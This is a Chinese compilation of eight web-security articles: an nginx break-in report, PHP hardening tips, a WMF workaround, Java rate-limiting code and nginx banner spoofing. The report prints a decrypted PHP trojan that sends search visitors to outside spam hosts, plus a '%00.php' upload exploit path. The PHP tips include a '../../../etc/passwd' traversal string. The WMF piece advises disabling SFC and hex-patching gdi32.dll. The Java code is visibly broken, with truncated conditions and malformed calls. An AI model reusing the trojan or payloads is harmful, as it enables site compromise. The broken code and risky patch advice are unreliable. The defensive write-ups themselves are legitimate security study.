由于Nginx漏洞导致的入侵事件WEB安全(锦集8篇)由网友“来吃橙子”投稿提供,下面是小编收集整理的由于Nginx漏洞导致的入侵事件WEB安全,供大家参考借鉴,欢迎大家分享。
篇1:由于Nginx漏洞导致的入侵事件WEB安全
服务器突然负载比平常高出了50%,经过长时间分析发现原来是 利用nginx的一个漏洞,通过图片上传了含有代码的图片,然后调用图片使用post传入代码,生成一个含有推广链接代码的php可执行文件,代码在调用时需要多次解密,因此直接导致负载升高,
起因:
今天早上来到公司照例打开cacti监控查看服务器的运行情况,突然发现两台网站服务器的负载比平时高了50%,这个主要从CPU的使用情况以及服务器的load值来看。
排查:
于是赶紧登录到服务器上使用top命令查看,发现是一些php-fpm的进程瞬间占用了大量的CPU,奇怪,平时那些php-fpm的进程占用CPU很少超过2%的,今天怎么有的会达到100%,于是赶紧咨询运维的同事昨天是不是有程序发布到正式环境。同事回答却是有,发布时间为19:48左右,对照cacti的查看,发现负载升高是在凌晨3点中左右,因此可以初步确认发布和负载升高没什么直接的关系。
那么到底是什么导致服务器的负载一下子升高了那么多呢?带着这个疑问,我开始采用linux下的一些命令行工具开始排查,过程如下:
首先查看进程是否打开什么文件,找到进程高的pid,cat /proc/pid/fd 没有发现有打开的文件,接着采用strace –p pid跟踪相应的占用cpu高的php-fpm进程,也很难发现问题,因为占用CPU高的进程不是一直占用CPU高,而是瞬间的,所以很难跟踪。然后采用lsof命令查看相应的占用CPU高的pid,lsof –p pid ,发现路径都是指向bbs根目录下,因此初步确定bbs根目录必定有蹊跷。
目前可以确定的是bbs根目录和这次的负载高有直接的联系,那么如何找到其中的联系呢?我的思路是想找出是什么php文件引起的,也就是php-fpm进程是调用的哪个PHP文件的时候会出现负载突然升高的情况呢?请教了几个高手都不清楚,在网上找了半天也没找到合适的答案,突然想起前段时间出现类似的木马事件,也是导致服务器负载高了很多,上次木马事件是因为nginx一个文件上传的漏洞导致,并且为了防止此类事情的发生已经写了一个专门检测php文件的脚本,采用对文件进行md5的形式,如果现在的文件的md5和原始文件不匹配就会发短信和邮件报警。同时也开启了nginx上post日志,会记录用户执行post操作的内容。似乎突然来了灵感,赶紧运行了那个文件检测脚本,发现一个forums.php异常,服务器上本来不存在这个文件的,攻击者为了隐藏其链接,对该文件中的代码做了30多次的加密封装,通过开发同事的协助解密该文件后发现如下内容:
error_reporting(E_ERROR);
$domain=$_SERVER['SERVER_NAME'];
$dddd = $_SERVER['PHP_SELF'];
$qqqq=$_SERVER[“QUERY_STRING”];
$filename = end(explode('/',$dddd));
if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))
Header(“Location: jump.1310.net/jump.php?”.$_SERVER['HTTP_REFERER']);else if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))
Header(“Location: jump.1310.net/jump.php?”.$_SERVER['HTTP_REFERER']);
else if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))
Header(“Location: jump.1310.net/jump.php?”.$_SERVER['HTTP_REFERER']);
else
{
if($qqqq==“”)
{
$a=“”.$domain.$_SERVER['PHP_SELF'];
$show = file_get_contents('localtemp.665203.com/server.php?gid='.rand(1,0).'&domain='.$domain.'&filename='.$filename.'&url='.$a);
echo $show;
}
else
{
$qqqq=str_replace('&',“”,$qqqq);
$a=“”.$domain.$_SERVER['PHP_SELF'].“?gid=”.$qqqq;
$show=file_get_contents('localtemp.665203.com/server.php?gid='.$qqqq.“&domain=”.$domain.'&filename='.$filename.'&url='.$a);
echo $show;
}
}
?>
很明显,服务器中马了,
将此文件备份后删除,服务器的负载马上降了下来,看来这个文件就是罪魁祸首了。现在知道了是这个文件导致的,那么这个文件是通过什么方式上传上来的呢?如何避免再次被种马,接下来详细分析一下是什么漏洞导致了这次木马事件,如何来预防?
分析:
查看到那个木马文件的更改时间是凌晨的3点零4分,那么这个文件的上传时间可能就是凌晨的3点零4分,带着这个疑问,就去查看服务器网页日志文件,发现了攻击的蛛丝马迹,从日志中显示,该用户是通过上传头像,头像中含有php代码,然后利用Nginx %00空字节执行任意代码(php)漏洞,通过POST /ucenter/data/tmp/upload545562.jpg%00.php的方式,把代码写入到论坛根目录,从sebug.net/vuldb/ssvid-20898查到了该漏洞,nginxnginx 0.5.*、nginx 0.6.*、nginx 0.7 <= 0.7.65、nginx 0.8 <= 0.8.37这些版本都存在这个漏洞,只需要将版本升级到0.8.37以上的版本就能解决,因此将马上将nginx升级至1.0.12版本,问题解决!
经验教训:
通过这次木马事件,有几个教训和心得和大家分享一下: 积极关注服务器的相关安全漏洞,Nginx %00的漏洞去年凌晨的-07-20就出来了,如果关注及时的话此次木马时间完全可以避免。 对所有的程序文件都定期的进行md5校验,当出现不一致的时候检查代码文件,能更快的发现代码文件被改的迹象,减少损失。 对服务器的权限严格控制,如果设置了论坛根目录不能写入,此次攻击也能避免。 加强监控,每天关注服务器的运行情况,对服务器突然的异常保持敏感并马上着手排查。因此以后主要从这三方面来加强web服务器的安全。
篇2:大型机如何抵御 入侵WEB安全
在大型机兴起之初,它的使用环境是非常安全的,用户可以将终端系统与大型机相连,这样大型机就能控制数据存储的访问路径和权限,掌控用户的使用信息和来源。
但时至今日我们使用的是面向服务的体系架构(SOA),在与后端系统连接之前会有一系列的计算机发出请求。用户也分为不同的级别。因此大型机的后端就无法实际确认用户真正的身份和授权的地点。所以,在分布式计算机的领域,当用户准备访问大型机数据时,安全状况就变得前景堪忧。
另外,目前真正了解大型机的专家实在寥寥可数--他们多数都已退居二线。因此当用户访问大型机并分享数据时,内忧外患也是越来越多。
大型机是座宝库
威利萨顿(willie sutton)是十九世纪二十年代闻名一时的银行大盗,在他被抓获后有人问他“威利,你为什么抢劫银行呢?”他老实回答说“因为那里有钱”。
如果威利能活到今天,我敢打赌他一定是名入侵终端数据库的 ,因为钱就在那里,或者说至少那里拥有很有价值的信息。大型机对于那些恶意的电脑 来说就是令人垂涎的攻击目标, 典型的做法是在网络协议的掩护下去读取数据。当大型机看到诸如FTP或者HTTP这样的协议时基本都会予以批准,如果这是个SQL注入攻击(SQL injection attack),那么大型机根本就无能无力。
大型机的安全保障
与其不断安装大型机应用软件不如借此机会适时增加基础架构的功能,毕竟开发应用软件也并非易事。因此用户应该将安全功能外置诸如数据库,应用软件或者网络服务器之上,增加另外的安全层也是非常有效的方法。
这个单独的层将弥补安全鉴定的空白。举例来说,如果有 窃取了用户密码就会绕过安全验证系统,那么用户还有另外的安全层权限来访问数据。因此,增加更高权限的安全线和深度防护措施是十分关键的,
深度防护流程
首先职权分离能有助于抵御来自内部和外部的攻击。设置网络应用软件防火墙是抵御 攻击的第一道防线,这也相当于将威利萨顿挡在门外的安全电网。
其次你需要防范数据外流的风险,单独的入侵检测和审核还远远不够。你需要防止意外情况下数据被窃取,因此你要找到合适的方法对数据进行锁定。加密技术是最好的方法。如果能够正确的运用,这也是让你免受数据外泄风险的唯一方法。
入侵检测也是基本方式。如果你的系统处于危险之中,你就必须设置防护层来阻止攻击者入侵系统窃取数据。Protegrity公司拥有一项技术专利就是根据在系统上用户常规活动的历史记录为基础来限定其访问的数据流量。
举例来说,如果某人通常在一周内每天下载的数据量是500条记录,周末没有访问量。那么我们的系统就会鉴别某人的数据下载量不超过10,000条或者周末晚上不能下载数据。
最后,对你的用户实施监控。一旦你对数据进行了锁定,你就需要关注它的运行情况。是否有未经授权的请求?是否有 的攻击企图?你必须关注这些问题,如果用户出现滥用数据的情况能及时的加以制止。
由此可见大型机安全方和的三大要素:网络应用软件防火墙,加密技术和监控措施。
大型机安全防护的支柱 各个方面的安全检查
是时候对之前所忽略的安全系统进行全面的检查。举例来说,检查你的数据库,看看是否有人试图读取你数据库中的信用卡信息。如果你发现有 以有效的用户身份访问信用卡信息,我们就应该对其访问的数据量增加相应的功能设置。
如果你的用户身份存在危险,你就应该设置防护层来阻止入侵者来获取更多的信息。你也可以通过数据使用控制来对入侵进行检测或者阻止 攻击的速度。目前我们在基于行为的入侵检测技术已经获取了专利许可。我们之所以开发这项技术是因为我认为它在数据驱动防护层方面颇有成效。
对于基于行为的访问加以限制在物理世界是非常自然的事。就像按方抓药或者去自动提款机限额取钱一样的道理。这些都是非常成功的安全系统能从逻辑上限定人们的行为。我认为这种方法也同样适用于IT领域的安全防护。
篇3:无线设备驱动漏洞可能导致 入侵
日前,两家顶级安全公司发出警告:Wi-Fi无线设备驱动有可能导致 入侵,据互联网安全系统I研究人员透露,他们正在酝酿一次实验计划,以此向外界展示“Wi-Fi无线驱动漏洞所存在的隐患”。据悉,在即将于下个月召开的0拉斯维加斯黑帽子大会上,I研究人员将现场表演“如何利用笔记本中的Wi-Fi驱动入侵电脑,并且完成对整套系统的操控,
”
安全专家表示,目前移动设备无线驱动的编写,并且考虑安全方面的问题,因此其中存在的安全隐患更是数不胜数。实际上,针对这种漏洞的攻击工具已经出现在互联网上,并且已经被安全专家所关注。不过无线驱动诊断软件也已经出现,例如一款名为Iorcon的软件,可以通过诊断80.技术标准的无线网卡来检测无线设备驱动程序中是否存在漏洞。“如今的无线设备领域就好像曾经的美国西部,基本上处于待开发的状态。”分析家在接受采访的时候表示。
篇4:关于如何防止PHP漏洞?WEB安全
踏入编程圈一年不到,之前写的文章一直放在个人博客上,以后我写的或整理的好的教程一定到园子里分享,只是园子里PHPer好像不怎么活跃,希望同行多多交流,这是我之前整理的一篇PHP漏洞文章!
漏洞无非这么几类,XSS、sql注入、命令执行、上传漏洞、本地包含、远程包含、权限绕过、信息泄露、cookie伪造、CSRF(跨站请求)等。这些漏洞不仅仅是针对PHP语言的,本文只是简单介绍PHP如何有效防止这些漏洞。
1.xss + sql注入(关于xss攻击详细介绍)
其中占大头的自然是XSS与SQL注入,对于框架类型或者有公共文件的,建议在公共文件中统一做一次XSS和SQL注入的过滤。用PHP写个过滤函数,可由如下所示:
$_REQUEST = filter_xss($_REQUEST);
$_GET = filter_xss($_GET);
$_POST = filter_xss($_POST);
$_COOKIE = filter_xss($_COOKIE);
$_POST = filter_sql($_POST);
$_GET = filter_sql($_GET);
$_COOKIE = filter_sql($_COOKIE);
$_REQUEST = filter_sql($_REQUEST);
最简单的filter_xss函数是htmlspecialchars
最简单的filter_sql函数是mysql_real_escape_string()
当然,谁都知道这种过滤filter_sql(详细防止sql注入)只能过滤字符型和搜索型的注入,对于数字型是没有办法的,但也说明做了这层过滤后,只需在后面注意数字型的SQL语句就可以了,遇到了加intval过滤就可以了,这就变得容易多了。
2. 命令执行
对于命令执行,可以从关键字入手,总共可分为3类
(1) php代码执行 :eval等
(2)shell命令执行:exec、passthru、system、shell_exec等
(3) 文件处理:fwrite、fopen、mkdir等
对于这几类需要注意其参数是否用户可控,
3.上传漏洞
对于上传漏洞,也是重点关注的地方,要仔细分析它的处理流程,针对上传的绕过方式是很多的,最保险的方式:在保存文件是采用文件名随机命名和后缀白名单方式。其次要注意的一点是上传文件的地方可能不止一处,不要有遗漏,可能会碰到这样的情况,突然在某个目录里面包含了一个第三方的编辑器在里面。
文件包含漏洞涉及的函数如include() 、include_once()、require()、require_once()、file_get_contents()等
最常见的还是出在下载文件功能函数,例如download.php?file=../../../etc/passwd 这种类型中。
4. 权限绕过
权限绕过可分为两类吧
(1)后台文件的未授权访问。后台的文件没有包含对session的验证,就容易出现这样的问题
(2)未作用户隔离,例如mail.php?id=23显示了你的信件,那么换个ID, mail.php?id=24就查看到了别人的信件,编写代码是方便,把信件都存在一个数据表里,id统一编号,前端展现时只需按id取出即可,但未作用户隔离,判定归属,容易造成越权访问。
这样的例子是很常见的,给某银行做评估是就经常发现这种漏洞。
5. 信息泄露
信息泄露算是比较低危的漏洞了,比如列目录这种就属于部署问题,而与代码审计无关了,而像暴路径、暴源码这种是需要防止的。曾经遇到这样的代码
表面上似乎没问题,可是当请求变为 xx.php?a[]=1时,即参数变为数组的时候,就会发生错误以致路径泄露,而用isset判断则不会,当然一个个防太麻烦,建议在配置文件中关闭错误提示,或者在公共文件中加入如下代码以关闭错误显示功能:
之前PHP点点通(phpddt.com)就有一篇文章:关于PHP防止漏洞策略 ,介绍了register_globals 的危害以及魔术引用Magic Quotes使用说明。
注明:本文部分内容摘自PHPCHINA
篇5:注意:WMF漏洞临时解决办法WEB安全
编辑:这个是幻影论坛的一个帖子,给出了各种解决办法,请大家看看那种办法更好.
鉴于目前wmf马和钓鱼方式猖獗,微软又没补丁出来,现给出临时解决办法
1.regsvr32.exe /u shimgvw.dll
执行以上命令则可禁止wmf执行,regsvr32.exe一般在system32下,没有的话自己去搜
2.上面这个方法只能防止通过IE调用图片查看器触发漏洞,通过其他办法一样可以利用
我给出我的临时解决方法
先Kill掉SFC,这个自已想办法
用Uedit32打开gdi32.dll,查找 53 57 ff d0 85 c0
修改成33 c0 90 90 85 c0,重启即可
简中Windows SP1测试成功
3.最简单的办法是装个ACDSEE,我测试过,简单而有效,
注意:WMF漏洞临时解决办法WEB安全
,
。。呵呵
4.官方的解决方法:
www.enet.com.cn/article/...230488781.shtml
篇6:那些年防入侵的二三事WEB安全
企业越大,可能被入侵的途径越多,
各种漏洞,开发安全流程的和安全规范的缺失,基础安全配置检查的疏忽,敏感信息泄露,各种细节的问题都有可能使千里之堤溃于蚁穴。
如何在如此多的繁杂的安全问题中如何归根i源,找到一个根本上的解决思路,这些年每每看到入侵事件我都会反思这个安全体系到底出了什么问题。
在几年之前我在考虑防入侵的时候更多的是考虑如何直接防御攻击。
比如在边界上的ACL网络隔离,部署堡垒机控制登陆权限。
禁止反连,让 无法反弹SHELL。
比如针对WEB应用去直接上WAF防御各种web攻击。
通过SDL去解决代码中的各种弱点,包括漏洞检测,白盒检测和各种代码REVIEW。
后来我觉得还不够,因为不是每种攻击我们都一定能够防御的,那些看似毫无破绽的防御产品,并不会直接被 挑战,入侵者不喜欢硬碰硬,他只会找软柿子去捏,你的一个弱点可能让你全盘皆输。
为了进一步占领这场战争的制高点:
我尝试是做一些后门检测的产品。
或者做一些主机入侵行为检测的产品。
尝试去分析访问日志监控一些可能的攻击请求。
又或者在 通往成功的路上继续设置各种障碍,SQL注入检测,拖库检测等等。
那这样真的够了吗,这场战争我就会赢吗,面对APT,邮件钓鱼,内外结合的各种风险,发现我们仍然处于一个敌我不分的乱世之中,我发现这样依然无法彻底解决问题。
现在我又在想不断的梳理系统权限,控制系统权限,收集各种系统日志,做各种业务异常风险监测模型,
尝试实时的去在LOGIN点检测各种帐号的异常行为。
去记录每个用户的操作,去审计操作的合法性。
去申请预算,做XXSRC发动群众的力量来给自己找漏洞。
还发展到要去我们以为安全的各种内部系统做深度的安全检查。
还要去做敏感信息防泄露,防撞库。
我们越来越往下做,发现防入侵真的是一个无底之洞,那些安全永远只是相对的。
到今天我归纳我所做的防入侵其实是有三个步骤。
第一阶段: 防御
第二阶段: 检测
第三阶段: 审计
有一天我突然想算算我做的这些事情的价值几何,我算出来发现。
防御阶段 -》 解决了70%的入侵问题
检测阶段 -》 解决了剩下20%的入侵问题
审计阶段 -》 解决了剩下的9%的入侵问题
还有1%是你永远也无法解决并预料到的,或许XXSRC能帮到你。
其实就是一个倒金字塔。
说到这里,似乎事情并没有完全搞定,为什么没有搞定,这个问题其实就像博弈一样,没有永远的赢家也没有永远的输家,作为一个安全工作者,如果忘了自己是一名刀尖上的舞者,而把自己当成一名太平侍卫,那么其实坏事也就将近了。
虽然我们默默无闻,但我们弥足珍贵,敬所有白帽子。
篇7:Java Web中的入侵检测及简单实现WEB安全
一、简介
在Java Web应用程中,特别是网站开发中,我们有时候需要为应用程序增加一个入侵检测程序来防止恶意刷新的功能,防止非法用户不断的往Web应用中重复发送数据,当然,入侵检测可以用很多方法实现,包括软件、硬件防火墙,入侵检测的策略也很多。在这里我们主要介绍的是Java Web应用程序中通过软件的方式实现简单的入侵检测及防御。
该方法的实现原理很简单,就是用户访问Web系统时记录每个用户的信息,然后进行对照,并根据设定的策略(比如:1秒钟刷新页面10次)判断用户是否属于恶意刷新。
我们的入侵检测程序应该放到所有Java Web程序的执行前,也即若发现用户是恶意刷新就不再继续执行Java Web中的其它部分内容,否则就会失去了意义。这就需要以插件的方式把入侵检测的程序置入Java Web应用中,使得每次用户访问Java Web,都先要到这个入侵检测程序中报一次到,符合规则才能放行。
Java Web应用大致分为两种,一种纯JSP(+Java Bean)方式,一种是基于框架(如Struts、EasyJWeb等)的。第一种方式的Java Web可以通过Java Servlet中的Filter接口实现,也即实现一个Filter接口,在其doFilter方法中插入入侵检测程序,然后再web.xml中作简单的配置即可。在基于框架的Web应用中,由于所有应用都有一个入口,因此可以把入侵检测的程序直接插入框架入口引擎中,使框架本身支持入侵检测功能。当然,也可以通过实现Filter接口来实现。
在EasyJWeb框架中,已经置入了简单入侵检测的程序,因此,这里我们以EasyJWeb框架为例,介绍具体的实现方法及源码,完整的代码可以在EasyJWeb源码中找到。
在基于EasyJWeb的Java Web应用中(如www.easyjf.com/bbs/),默认情况下你只要连续刷新页面次数过多,即会弹出如下的错误:
EasyJWeb框架友情提示!:-):
您对页面的刷新太快,请等待60秒后再刷新页面!
详细请查询www.easyjf.com
二、用户访问信息记录UserConnect.java类
这个类是一个简单的Java Bean,主要代表用户的信息,包括用户名、IP、第一次访问时间、最后登录时间、登录次数、用户状态等。全部代码如下:
package com.easyjf.web;
import java.util.Date;
/**
*
*
Title:用户验证信息
*
Description:记录用户登录信息,判断用户登录情况
*
Copyright: Copyright (c)
*
Company: www.easyjf.com
* @author 蔡世友
* @version 1.0
*/
public class UserConnect {
private String userName;
private String ip;
private Date firstFailureTime;
private Date lastLoginTime;
private int failureTimes;//用户登录失败次数
private int status=0;//用户状态0表示正常,-1表示锁定
public int getFailureTimes {
return failureTimes;
}
public void setFailureTimes(int failureTimes) {
this.failureTimes = failureTimes;
}
public Date getFirstFailureTime() {
return firstFailureTime;
}
public void setFirstFailureTime(Date firstFailureTime) {
this.firstFailureTime = firstFailureTime;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public Date getLastLoginTime() {
return lastLoginTime;
}
public void setLastLoginTime(Date lastLoginTime) {
this.lastLoginTime = lastLoginTime;
}
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public int getStatus() {
return status;
}
public void setStatus(int status) {
this.status = status;
}
}
三、监控线程UserConnectManage.java类
这是入侵检测的核心部分,主要实现具体的入侵检测、记录、判断用户信息、在线用户的刷新等功能,并提供其它应用程序使用本组件的调用接口。
package com.easyjf.web;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import org.apache.log4j.Logger;
/**
*
*
Title:用户入侵检测信息
*
Description:用于判断用户刷新情况检查,默认为10秒钟之内连续连接10次为超时
*
Copyright: Copyright (c) 2006
*
Company: www.easyjf.com
* @author 蔡世友
* @version 1.0
*/
public class UserConnectManage {
private static final Logger logger = (Logger) Logger.getLogger(UserConnectManage.class.getName());
private static int maxFailureTimes=10;//最大登录失败次数
private static long maxFailureInterval=10000;//毫秒,达到最大登录次数且在这个时间范围内
private static long waitInterval=60000;//失败后接受连接的等待时间,默认1分钟
private static int maxOnlineUser=200;//同时在线的最大数
private final static Map users=new HashMap();//使用ip+userName为key存放用户登录信息UserLoginAuth
private static Thread checkThread=null;
private static class CheckTimeOut implements Runnable{
private Thread parentThread;
public CheckTimeOut(Thread parentThread)
{
this.parentThread=parentThread;
synchronized(this){
if(checkThread==null){
checkThread= new Thread(this);
//System.out.println(“创建一个新线程!”);
checkThread.start();
}
}
}
public void run() {
while(true)
{
if(parentThread.isAlive()){
try{
Thread.sleep();
int i=0;
if(users.size()>maxOnlineUser)//当达到最大用户数时清除
{
synchronized(users){//执行删除操作
Iterator it=users.keySet().iterator();
Set set=new HashSet();
Date now=new Date();
while(it.hasNext())
{
Object key=it.next();
UserConnect user=(UserConnect)users.get(key);
if(now.getTime()-user.getFirstFailureTime().getTime()>maxFailureInterval)//删除超时的用户
{
set.add(key);
logger.info(“删除了一个超时的连接”+i);
i++;
}
}
if(i<5)//如果删除少于5个,则强行删除1/2在线记录,牺牲性能的情况下保证内存
{
int num=maxOnlineUser/2;
it=users.keySet().iterator();
while(it.hasNext() && i
{
set.add(it.next());
logger.info(“删除了一个多余的连接”+i);
i++;
}
}
users.keySet().removeAll(set);
}
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
else
{
break;
}
}
logger.info(“监视程序运行结束!”);
}
}
//通过checkLoginValidate判断是否合法的登录连接,如果合法则继续,非法则执行
public static boolean checkLoginValidate(String ip,String userName)//只检查认证失败次数
{
boolean ret=true;
Date now=new Date();
String key=ip+“:”+userName;
UserConnect auth=(UserConnect)users.get(key);
if(auth==null)//把用户当前的访问信息加入到users容器中
{
auth=new UserConnect();
auth.setIp(ip);
auth.setUserName(userName);
auth.setFailureTimes(0);
auth.setFirstFailureTime(now);
users.put(key,auth);
if(checkThread==null)new CheckTimeOut(Thread.currentThread());
}
else
{
if(auth.getFailureTimes()>maxFailureTimes)
{
//如果在限定的时间间隔内,则返回拒绝用户连接的信息
if((now.getTime()-auth.getFirstFailureTime().getTime())
{
ret=false;
auth.setStatus(-1);
}
else if(auth.getStatus()==-1 && (now.getTime()-auth.getFirstFailureTime().getTime()<(maxFailureInterval+waitInterval)))//重置计数器
{
ret=false;
}
else
{
auth.setFailureTimes(0);
auth.setFirstFailureTime(now);
auth.setStatus(0);
}
}
//登录次数加1
auth.setFailureTimes(auth.getFailureTimes()+1);
}
//System.out.println(key+“:”+auth.getFailureTimes()+“:”+ret+“:”+(now.getTime()-auth.getFirstFailureTime().getTime()));
return ret;
}
public static void reset(String ip,String userName)//重置用户信息
{
Date now=new Date();
String key=ip+“:”+userName;
UserConnect auth=(UserConnect)users.get(key);
if(auth==null)//把用户当前的访问信息加入到users容器中
{
auth=new UserConnect();
auth.setIp(ip);
auth.setUserName(userName);
auth.setFailureTimes(0);
auth.setFirstFailureTime(now);
users.put(key,auth);
}
else
{
auth.setFailureTimes(0);
auth.setFirstFailureTime(now);
}
}
public static void remove(String ip,String userName)//删除用户在容器中的记录
{
String key=ip+“:”+userName;
users.remove(key);
}
public static void clear()//清空容器中内容
{
if(!users.isEmpty())users.clear();
}
public static long getMaxFailureInterval() {
return maxFailureInterval;
}
public static void setMaxFailureInterval(long maxFailureInterval) {
UserConnectManage.maxFailureInterval = maxFailureInterval;
}
public static int getMaxFailureTimes() {
return maxFailureTimes;
}
public static void setMaxFailureTimes(int maxFailureTimes) {
UserConnectManage.maxFailureTimes = maxFailureTimes;
}
public static int getMaxOnlineUser() {
return maxOnlineUser;
}
public static void setMaxOnlineUser(int maxOnlineUser) {
UserConnectManage.maxOnlineUser = maxOnlineUser;
}
public static long getWaitInterval() {
return waitInterval;
}
public static void setWaitInterval(long waitInterval) {
UserConnectManage.waitInterval = waitInterval;
}
四、调用接口
在需要进入侵检测判断的地方,直接使用UserConnectManage类中的checkLoginValidate方法即可,
如EasyJWeb的核心Servlet
com.easyjf.web.ActionServlet中调用UserConnectManage的代码:
if(!UserConnectManage.checkLoginValidate(request.getRemoteAddr(),“guest”))
{
info(request,response,new Exception(“您对页面的刷新太快,请等待”+UserConnectManage.getWaitInterval()/1000+“秒后再刷新页面!”));
return;
}
五、总结
当然,这里提供的方法只是一个简单的实现示例,由于上面的用户信息是直接保存在内存中,若并发用户很大的时候的代码的占用,可以考虑引入数据库来记录用户的访问信息,当然相应的执行效率肯定用降低。上面介绍的实现中,入侵检测判断的策略也只有用户访问次数及时间间隔两个元素,您还可以根据你的实现情况增加其它的检测元素。
篇8:伪装nginx版本防止入侵web服务器WEB安全
为了防止被 扫描到web服务器信息,通过相对应的web服务器信息找出对应的版本漏洞,从而对web服务器进行入侵,nginx虽然功能强大,但是也是软件,软件就可能会有漏洞,例如nginx-0.6.32版本,默认情况下可能导致服务器错误的将任何类型的文件以php的方式进行解析,比如上传一个jpg格式的木马到论坛网站,通过漏洞解析成一个php的webshell,从而入侵获得服务器的权限,这将导致严重的安全问题,使得 可能攻陷支持php的nginx服务器,如果暴漏了nginx版本而且该版本又存在安全漏洞那么你的web服务器肯定危在旦夕了。
针对于nginx服务器,可以修改源码中关于nginx的header描述信息,以下以nginx-1.2.0版本为例。
[root@www nginx-1.2.0]# cd src/core/[root@www core]# vim nginx.h -------编辑nginx.h文件
/** Copyright (C) Igor Sysoev* Copyright (C) Nginx, Inc.*/#ifndef _NGINX_H_INCLUDED_#define _NGINX_H_INCLUDED_#define nginx_version 1002000#define NGINX_VERSION “2.2.2” //默认为1.2.0#define NGINX_VER “Apache/” NGINX_VERSION //默认为Nginx#define NGINX_VAR “NGINX”#define NGX_OLDPID_EXT “.oldbin”#endif /* _NGINX_H_INCLUDED_ */
然后进行正常编译完成安装,
测试效果
使用强大的nmap扫描主机
使用curl获取http请求信息
或者访问一个不存在的URL也可以查看到效果
可以看到无论是用nmap扫描主机还是用curl获取对网站http报文的请求信息甚至是访问请求一个不存在的url都会显示web服务器使用的是Apache2.2.2版本,从而隐藏了我们真实web服务器版本即nginx-1.2.0版本,当然这里可以伪装为IIS、Lighthttp、Tengine甚至是自定义的名字都可以,总之迷惑了入侵者的思路,保护了web服务器的安全。
补充:有朋友留言给我,说404页面还是显示出nginx的风格,那就修改默认404页面吧
在nginx.conf中增加如下内容指定404页面路径(/usr/local/nginx/html)
error_page 404 /404.html;location = /404.html {root html;}
重新加载配置文件
/usr/local/nginx/sbin/nginx -s reload
任意访问一个不存在的页面,就可以看到效果了!
★ 网络爬虫论文范文
★ 网络安全的论文
★ 网络安全技术论文
【由于Nginx漏洞导致的入侵事件WEB安全(锦集8篇)】相关文章:
FTP常用软件servu的安全权限处理WEB安全2022-12-10
Windows 安全审核让入侵者无处遁形服务器教程2023-09-16
电子商务将来发展的三个步骤2022-09-06
计算机病毒的起源和发展探析论文2023-04-02
网络入侵检测方法2023-04-17
网关攻击技术对网络安全的作用论文2023-06-05
水安全保护问题及防治措施论文2023-01-15
网络安全知识培训心得体会2022-06-20
如何保障SQL数据库服务器的安全2023-10-02
防护服务器安全七个技巧2022-12-15